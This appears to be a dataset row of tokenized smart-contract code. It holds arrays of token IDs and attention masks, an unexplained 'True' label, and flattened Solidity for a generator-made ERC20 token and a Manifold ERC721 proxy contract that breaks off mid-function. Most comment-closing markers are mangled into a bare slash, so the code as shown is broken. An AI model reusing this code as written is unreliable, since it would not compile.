1013, 1008, 1008, 2332, 2332, 1019, 1003, 16475, 1020, 1003, 5821, 1016, 1003, 5622, 4160, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1023, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 2655, 2850, 2696, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 8278, 1045, 19496, 26760, 9331, 2615, 2475, 4502, 4313, 1063, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 3643, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 3643, 1007, 1025, 3853, 2171, 1006, 1007, 6327, 5760, 5651, 1006, 5164, 3638, 1007, 1025, 3853, 6454, 1006, 1007, 6327, 5760, 5651, 1006, 5164, 3638, 1007, 1025, 3853, 26066, 2015, 1006, 1007, 6327, 5760, 5651, 1006, 21318, 3372, 2620, 1007, 1025, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 3954, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 2013, 1010, 4769, 2000, 1010, 21318, 3372, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 5884, 1035, 19802, 25879, 2953, 1006, 1007, 6327, 3193, 5651, 1006, 27507, 16703, 1007, 1025, 3853, 9146, 1035, 2828, 14949, 2232, 1006, 1007, 6327, 5760, 5651, 1006, 27507, 16703, 1007, 1025, 3853, 2512, 9623, 1006, 4769, 3954, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 9146, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1010, 21318, 3372, 3643, 1010, 21318, 3372, 15117, 1010, 21318, 3372, 2620, 1058, 1010, 27507, 16703, 1054, 1010, 27507, 16703, 1055, 1007, 6327, 1025, 2724, 12927, 1006, 4769, 25331, 4604, 2121, 1010, 21318, 3372, 3815, 2692, 1010, 21318, 3372, 3815, 2487, 1007, 1025, 2724, 19948, 1006, 4769, 25331, 4604, 2121, 1010, 21318, 3372, 3815, 2692, 2378, 1010, 21318, 3372, 3815, 2487, 2378, 1010, 21318, 3372, 3815, 2692, 5833, 1010, 21318, 3372, 3815, 2487, 5833, 1010, 4769, 25331, 2000, 1007, 1025, 2724, 26351, 1006, 21318, 3372, 14526, 2475, 3914, 2692, 1010, 21318, 3372, 14526, 2475, 3914, 2487, 1007, 1025, 3853, 6263, 1035, 6381, 3012, 1006, 1007, 6327, 5760, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 4713, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 19204, 2692, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. / // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /* * @title ServicePayer * @dev Implementation of the ServicePayer / abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /* * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright / contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /* * @dev Returns the token generator tool. / function generator() public pure returns (string memory) { return _GENERATOR; } /* * @dev Returns the token generator version. / function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /* * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2005, 2489, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 3642, 2138, 1997, 1008, 2009, 2003, 2525, 20119, 1012, 1008, 1008, 5860, 19771, 5017, 1024, 13103, 1005, 1055, 3166, 2003, 2489, 1997, 2151, 14000, 4953, 1996, 19204, 1998, 1996, 2224, 2008, 2003, 2081, 1997, 2009, 1012, 1008, 1996, 2206, 3642, 2003, 3024, 2104, 10210, 6105, 1012, 3087, 2064, 2224, 2009, 2004, 2566, 2037, 3791, 1012, 1008, 1996, 13103, 1005, 1055, 3800, 2003, 2000, 2191, 2111, 2583, 2000, 19204, 4697, 2037, 4784, 2302, 16861, 2030, 7079, 2005, 2009, 1012, 1008, 3120, 3642, 2003, 2092, 7718, 1998, 10843, 7172, 2000, 5547, 3891, 1997, 12883, 1998, 2000, 8970, 2653, 20600, 2015, 1012, 1008, 4312, 1996, 5309, 1997, 19204, 2015, 7336, 1037, 2152, 3014, 1997, 3891, 1012, 2077, 13868, 19204, 2015, 1010, 2009, 2003, 6749, 2000, 1008, 5362, 21094, 2035, 1996, 2592, 1998, 10831, 6851, 1999, 19204, 3954, 1005, 1055, 3785, 1012, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 1065, 2024, 2170, 1012, 1008, 1013, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Fa∴Fo As A Medium /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // 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,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract QJG is ERC721Creator { constructor() ERC721Creator(unicode"Fa∴Fo As A Medium", "QJG") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. / bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /* * @dev Returns the current implementation address. / function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /* * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. / abstract contract Proxy { /* * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. / function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 